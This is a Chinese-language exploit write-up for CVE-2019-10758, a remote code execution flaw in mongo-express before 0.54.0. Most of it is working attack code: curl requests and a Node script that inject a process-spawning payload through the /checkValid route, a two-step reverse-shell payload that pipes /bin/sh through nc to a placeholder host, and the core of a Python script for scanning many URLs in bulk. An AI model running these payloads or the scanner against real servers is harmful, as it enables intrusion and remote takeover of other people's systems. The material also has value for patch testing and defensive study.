（CVE-2019-10758）Mongo_expres_rce

# （CVE-2019-10758）Mongo expres rce

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一、漏洞简介
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漏洞问题出在lib/bson.js中的toBSON()函数中，路由 /checkValid
从外部接收输入，并调用了存在 RCE
漏洞的代码，由此存在被攻击的风险，可在服务器上进行任意命令执行。

二、漏洞影响
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mongo-express \< 0.54.0 三、复现过程 ------------ https://github.com/ianxtianxt/CVE-2019-10758 #### 安装环境 docker run -p 27017:27017 -d mongo npm install mongo-express@0.53.0 cd node_modules/mongo-express/ && node app.js #### cURL exploit curl 'http://www.0-sec.org:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'  curl 'http://www.0-sec.org:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("echo Str1am > file.txt”)’


#### Script exploit

node main.js

#### main.js

exploit = “this.constructor.constructor(\”return process\”)().mainModule.require(‘child_process’).execSync(‘/Applications/Calculator.app/Contents/MacOS/Calculator’)”

var bson = require(‘mongo-express/lib/bson’)
bson.toBSON(exploit)

### 补充

> mongo-express远程代码执行，反弹shell代码如下：

#### POST BODY 1:

document=this.constructor.constructor(“return process”)().mainModule.require(“child_process”).execSync(“mkfifo /tmp/f”)

#### POST BODY 2：

document=this.constructor.constructor(“return process”)().mainModule.require(“child_process”).execSync(“cat /tmp/f | /bin/sh -i 2>%261 | nc x.x.x.x 666 >/tmp/f”)

### 批量监测脚本【只放核心代码】

payload = r’document=this.constructor.constructor(“return process”)().mainModule.require(“child_process”).execSync(“echo 111111”)’

def http_request(url,path_out):
try:
print(“Trying:” + url + ‘ ‘ + ‘[‘ + str(left) + ‘/’ + str(countLines) + ‘]’)
vulurl = url + “/checkValid”
r = requests.post(url=vulurl, headers=headers, data=payload, timeout=10, verify= False)
if r.status_code == 200 and ‘Valid’ in r.text:
print(“\033[1;40;32m’Good Found!’ {}\033[0m”.format(vulurl))
#printGreen(“[+]” + url)
with open(path_out,’a’) as f:
f.write(vulurl + ‘\n’)
else:
print(“[-]” + “r.status_code:” + str(r.status_code) + “,” + “raise.text:” + r.text)
except Exception as err:
print(err)